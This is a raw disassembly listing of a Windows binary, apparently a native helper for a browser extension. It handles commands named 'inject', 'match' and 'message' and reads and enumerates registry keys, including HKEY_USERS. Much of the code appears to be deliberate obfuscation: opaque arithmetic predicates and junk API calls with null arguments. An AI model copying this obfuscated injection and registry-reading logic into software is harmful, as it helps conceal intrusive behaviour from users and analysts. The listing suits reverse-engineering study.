mov r8d, eax
mov dword [0x1401cbd80], eax
jmp 0x1400695e0
mov dword [0x1401cbd80], r9d
test r12, r12
je 0x14006970c
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x15f0], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x15f0], rax
mov qword [rsp + 0x1608], rdi
mov qword [rsp + 0x1610], rdi
mov qword [rsp + 0x1610], 0xf
mov qword [rsp + 0x1608], rdi
mov byte [rsp + 0x15f8], 0
mov byte [rsp + 0x1618], 0
lea r8, [rsp + 0xfd0]
lea rdx, [rsp + 0x17c0]
lea rcx, [rsp + 0x15f0]
call fcn.14003e650
mov qword [rsp + 0x9e0], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006969a
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x300]
call fcn.140003170
nop
lea rcx, [rsp + 0x17c0]
call fcn.1400013b0
mov rcx, qword [rsp + 0x300]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4c8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9f0], rax
test rax, rax
jne 0x1400696e2
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0x300]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x15f0]
call fcn.14000b3f0
call fcn.1400651c0
test al, al
jne 0x14006973d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop
lea rcx, [rsp + 0xfd0]
call fcn.14003b350
nop
lea rcx, [rsp + 0x448]
call fcn.14003b350
nop
lea rcx, [rsp + 0x98]
call fcn.1400021b0
jmp 0x14006b060
test r12, r12
je 0x140069780
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x1400697a3
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1a8
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140069816
test r12, r12
je 0x14006b060
mov word [r12 + 8], r15w
jmp 0x1400684c7
lea rdx, [0x14015a208]
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140069df2
test r12, r12
je 0x140069d97
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xa00], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xa10], rax
cmp rax, rsi
je 0x140069d4a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xa20], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xa30], rax
cmp rax, rsi
je 0x140069d4a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xa40], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xa50], rax
cmp rax, rsi
je 0x140069d4a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xa60], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xa70], rax
cmp byte [rax + 8], 1
jne 0x140069d4a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xa80], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xa90], rax
cmp byte [rax + 8], 1
jne 0x140069d4a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xaa0], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xab0], rax
cmp byte [rax + 8], 4
jne 0x140069d4a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xac0], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xad0], rax
lea rdx, [rsp + 0x15b0]
mov rcx, rax
call fcn.14003b490
nop
mov qword [rsp + 0x310], rdi
lea rcx, [rsp + 0x15b0]
cmp qword [rsp + 0x15c8], 0x10
cmovae rcx, qword [rsp + 0x15b0]
mov qword [rsp + 0xae0], rcx
mov rdx, qword [rsp + 0x15c0]
test dl, 3
jne 0x140069cef
lea r8, [rsp + 0x310]
call fcn.140022c00
mov byte [rsp + 0x90], al
test al, al
je 0x140069cef
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rdi
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x130]
call fcn.140034700
nop
mov qword [rsp + 0x320], rdi
lea rcx, [rsp + 0x15b0]
cmp qword [rsp + 0x15c8], 0x10
cmovae rcx, qword [rsp + 0x15b0]
lea rax, [rsp + 0x320]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x310]
mov rbx, qword [rsp + 0x130]
mov r8, rbx
mov rdx, qword [rsp + 0x15c0]
call fcn.140022cf0
test al, al
jne 0x140069b30
test rbx, rbx
je 0x140069ad3
mov rcx, rbx
call fcn.1400d1660
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rdi
lea rcx, [rsp + 0x15b0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x1590]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x130]
call fcn.140034700
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xaf0], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb00], rax
mov rcx, rax
call fcn.14003b720
mov ebx, eax
mov dword [rsp + 0x8bc], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xb10], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb20], rax
mov rcx, rax
call fcn.14003b720
mov dword [rsp + 0x4d8], eax
lea r9, [rsp + 0x130]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r14 + 0x40]
call fcn.1400604e0
mov r8d, dword [0x1401cbd80]
mov eax, r8d
imul eax, r8d
imul eax, r8d
and eax, 0x80000007
jge 0x140069bfb
dec eax
or eax, 0xfffffff8
inc eax
cmp eax, 4
jne 0x140069c4d
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d0cc8
mov qword [rsp + 0xb30], rax
mov rcx, rax
call fcn.1400d272c
mov r8d, dword [0x1401cbd80]
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x12
jne 0x140069cb3
mov r13d, 1
mov dword [rsp + 0x1b4], r13d
nop
cmp r13d, r8d
jge 0x140069cac
mov eax, r8d
cdq
idiv r13d
inc r13d
add r13d, edx
mov dword [rsp + 0x1b4], r13d
jmp 0x140069c90
mov dword [0x1401cbd80], r13d
mov rcx, qword [rsp + 0x130]
test rcx, rcx
je 0x140069cdd
call fcn.1400d1660
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rdi
lea rcx, [rsp + 0x15b0]
call fcn.1400013b0
jmp 0x140069d97
lea rcx, [rsp + 0x15b0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x1590]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x1590]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
mov r8d, dword [0x1401cbd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 2
jne 0x14006b060
mov dword [rsp + 0x248], edi
movsxd rax, edi
cmp rax, 0x190
jae 0x14006b060
mov eax, dword [rsp + rax*4 + 0x1cf0]
shl eax, 4
add r8d, eax
mov dword [0x1401cbd80], r8d
inc edi
jmp 0x140069dc4
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x14006a0b7
test r12, r12
je 0x14006b060
xor sil, sil
mov byte [rsp + 0x78], sil
lea rcx, [rsp + 0x180]
call fcn.1400020d0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xb40], rax
lea rdx, [0x14015a270]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb50], rax
cmp byte [rax + 8], 4
jne 0x14006a095
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xb60], rax
lea rdx, [0x14015a270]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb70], rax
lea rdx, [rsp + 0x15d0]
mov rcx, rax
call fcn.14003b490
nop
mov rax, qword [rsp + 0x15e0]
mov qword [rsp + 0xb80], rax
lea r8, [rsp + 0x15d0]
cmp qword [rsp + 0x15e8], 0x10
cmovae r8, qword [rsp + 0x15d0]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x6d8], ebx
test eax, eax
je 0x14006a048
call fcn.1400651c0
test al, al
jne 0x140069f42
mov r8d, edi
mov dword [rsp + 0x1bc], edi
mov r10d, dword [0x1401cbd80]
movsxd r9, r8d
cmp r9, 0x96
jae 0x140069f42
mov eax, r10d
sub eax, r8d
lea ecx, [r8 + r10]
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x1e80], edx
inc r8d
mov dword [rsp + 0x1bc], r8d
jmp 0x140069f14
mov qword [rsp + 0x408], rdi
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x408]
call fcn.140034700
nop
call fcn.1400653e0
test al, al
jne 0x140069f83
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401cbd80], eax
mov rax, qword [rsp + 0x15e0]
mov qword [rsp + 0xb90], rax
lea r8, [rsp + 0x15d0]
cmp qword [rsp + 0x15e8], 0x10
cmovae r8, qword [rsp + 0x15d0]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x408]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14006a023
mov r8, qword [rsp + 0x410]
sub r8, rbx
mov qword [rsp + 0xba0], r8
mov rdx, rbx
lea rcx, [rsp + 0x6e0]
call fcn.140022ff0
mov qword [rsp + 0xbb0], rax
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.140002230
nop
lea rcx, [rsp + 0x6e0]
call fcn.1400021b0
mov sil, 1
mov byte [rsp + 0x78], sil
test rbx, rbx
je 0x14006a048
mov rcx, rbx
call fcn.1400d1660
mov qword [rsp + 0x408], rdi
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], rdi
lea rcx, [rsp + 0x15d0]
call fcn.1400013b0
test sil, sil
je 0x14006a095
mov rcx, qword [rsp + 0x180]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4e8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xbc0], rax
test rax, rax
jne 0x14006a084
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
jmp 0x14006a0a5
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x180]
call fcn.1400021b0
jmp 0x14006b060
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x14006a0f5
mov rcx, qword [r14 + 0x40]
add rcx, 0x1f8
call fcn.14006fe70
test r12, r12
je 0x14006b060
mov r13d, 1
mov word [r12], r13w
jmp 0x14006b060
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x14006a21d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xbd0], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xbe0], rax
cmp byte [rax + 8], 4
jne 0x14006a21d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xbf0], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc10], rdx
lea rcx, [rsp + 0x6f0]
call fcn.140003170
nop
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 5
jne 0x14006a1f6
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
inc r8d
mov dword [rsp + 0x7d8], r8d
mov dword [0x1401cbd80], r8d
test r12, r12
je 0x14006a20b
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x6f0]
call fcn.1400021b0
jmp 0x14006b060
test r12, r12
je 0x14006b060
mov word [r12 + 8], di
jmp 0x1400684c7
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xc20], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc30], rax
cmp byte [rax + 8], 4
jne 0x14006b060
test r12, r12
je 0x14006b060
mov qword [rsp + 0x2a8], rdi
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2b8], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xc40], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xc50], rax
cmp rax, rsi
je 0x14006a575
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xc60], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc80], rdx
lea rcx, [rsp + 0x190]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x190]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc90], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xca0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xcb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc0], rdx
lea rax, [rsp + 0x700]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x4f8], eax
test eax, eax
je 0x14006a444
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
lea rcx, [rsp + 0x190]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x2a8]
call fcn.14001cd70
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x14006a3f2
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
mov ebx, edi
mov dword [rsp + 0x288], ebx
mov dword [rsp + 0x100], 0x7ffe
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400035d0
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r14, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xcd0], r14
mov ecx, 0x7ffe
call fcn.1400d0cc8
mov rsi, rax
mov qword [rsp + 0xce0], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400d6ac0
nop word [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x288], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x100]
mov r8, rsi
mov rcx, qword [rsp + 0x700]
call r14
mov dword [rsp + 0x6e8], eax
test eax, eax
jne 0x14006a53f
mov rdx, rsi
lea rcx, [rsp + 0x710]
call fcn.140003170
nop
mov rdx, rax
lea rcx, [rsp + 0x2a8]
call fcn.14002a990
nop
lea rcx, [rsp + 0x710]
call fcn.1400021b0
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rsi
call fcn.1400d6ac0
mov dword [rsp + 0x100], 0x7ffe
jmp 0x14006a4b0
cmp eax, 0x103
je 0x14006a562
mov rax, qword [rsp + 0x2b0]
sub rax, qword [rsp + 0x2a8]
test rax, 0xfffffffffffffff8
jne 0x14006a562
xor bl, bl
jmp 0x14006a564
mov bl, 1
mov byte [rsp + 0x51], bl
lea rcx, [rsp + 0x190]
jmp 0x14006a65a
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400035d0
lea rdx, str.param
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x14006a5f9
call fcn.14003bd90
mov qword [rsp + 0xcf0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xd00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd10], rdx
lea rcx, [rsp + 0x330]
call fcn.140003170
nop
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x330]
call fcn.14004e130
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x330]
jmp 0x14006a65a
call fcn.14003bd90
mov qword [rsp + 0xd20], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xd30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd40], rdx
lea rcx, [rsp + 0x340]
call fcn.140003170
nop
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x340]
call fcn.14004dd90
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x340]
call fcn.1400021b0
test bl, bl
je 0x14006a822
lea rdx, [0x14015a188]
lea rcx, [rsp + 0xc0]
call fcn.140002110
nop
mov rbx, qword [rsp + 0x2a8]
mov qword [rsp + 0x740], rbx
cmp rbx, qword [rsp + 0x2b0]
je 0x14006a762
lea rdx, [0x14015a190]
lea rcx, [rsp + 0x360]
call fcn.140003170
nop
lea rdx, [0x14015a200]
lea rcx, [rsp + 0x350]
call fcn.140003170
nop
mov r8, rbx
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x730]
call fcn.140010500
nop
lea r8, [rsp + 0x360]
mov rdx, rax
lea rcx, [rsp + 0x720]
call fcn.140010500
mov qword [rsp + 0xd50], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x508], r8d
mov qword [rsp + 0xd60], rdx
lea rcx, [rsp + 0xc0]
call fcn.140010fc0
nop
lea rcx, [rsp + 0x720]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x730]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x350]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x360]
call fcn.1400021b0
add rbx, 8
jmp 0x14006a684
mov rax, qword [rsp + 0xc0]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x858], r8d
dec r8d
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0xc0]
call fcn.14001c890
nop
lea r8, [0x14015a204]
mov rdx, rax
lea rcx, [rsp + 0x750]
call fcn.14001c930
mov qword [rsp + 0xd70], rax
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.140002230
nop
lea rcx, [rsp + 0x750]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x760]
call fcn.1400021b0
mov rcx, qword [rsp + 0xc0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x518], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd80], rax
test rax, rax
jne 0x14006a804
call fcn.1400024a0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0xc0]
call fcn.1400021b0
jmp 0x14006a832
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x2a8]
call fcn.14001cd70
jmp 0x14006b060
mov r8d, dword [0x1401cbd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xd
jne 0x14006a8b0
mov r9d, edi
mov dword [rsp + 0x1c4], edi
nop word [rax + rax]
test r8d, r8d
je 0x14006a8a9
mov ecx, r8d
and ecx, 1
add r9d, ecx
mov dword [rsp + 0x1c4], r9d
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401cbd80], eax
jmp 0x14006a880
mov dword [0x1401cbd80], r9d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xd90], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xda0], rax
cmp byte [rax + 8], 4
jne 0x14006af72
test r12, r12
je 0x14006af72
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xdb0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xdc0], rax
cmp byte [rax + 8], 4
jne 0x14006af72
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xdd0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xde0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdf0], rdx
lea rcx, [rsp + 0x108]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe00], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xe10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe20], rdx
lea rcx, [rsp + 0xf8]
call fcn.140003170
nop
mov rbx, rdi
mov qword [rsp + 0x118], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe30], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xe40], rax
cmp rax, rsi
je 0x14006abe6
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe50], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xe60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe70], rdx
lea rcx, [rsp + 0x370]
call fcn.140003170
nop
mov r8d, dword [0x1401cbd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x10
jne 0x14006aaab
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r8d, dword [0x1401cbd80]
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x118], rbx
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
and ecx, 0x8000000f
jge 0x14006aad5
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 9
jne 0x14006ab84
mov r9d, edi
mov dword [rsp + 0x258], edi
nop dword [rax + rax]
test r8d, r8d
je 0x14006ab84
inc r9d
mov dword [rsp + 0x258], r9d
mov eax, r8d
and eax, 0x80000001
jge 0x14006ab15
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14006ab2c
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401cbd80], eax
jmp 0x14006ab3b
lea r8d, [r8*2 + 1]
mov dword [0x1401cbd80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x14006ab5f
sub ecx, 2
je 0x14006ab6a
dec ecx
je 0x14006ab74
jmp 0x14006ab7f
add r8d, 2
mov dword [0x1401cbd80], r8d
inc r8d
mov dword [0x1401cbd80], r8d
add r8d, 2
mov dword [0x1401cbd80], r8d
jmp 0x14006aaf0
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x370]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x118], rbx
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006abde
mov rdx, qword [rsp + 0x770]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x118]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x14006ad65
lea rcx, [rsp + 0x128]
call fcn.1400020d0
nop
test rbx, rbx
je 0x14006ac3c
mov r9, rbx
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x128]
call fcn.14004cd00
mov rsi, qword [rsp + 0x40]
jmp 0x14006acf2
lea rax, [rsp + 0x780]
mov qword [rsp + 0xe80], rax
lea rdx, [0x140154028]
lea rcx, [rsp + 0x780]
call fcn.140002110
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401c6d48]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x790]
call fcn.14004c290
mov qword [rsp + 0xe90], rax
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.140002230
nop
mov rcx, qword [rsp + 0x790]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006acd5
mov rdx, qword [rsp + 0x7a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rsi, qword [rsp + 0x40]
jmp 0x14006acf2
mov rcx, qword [rsp + 0x128]
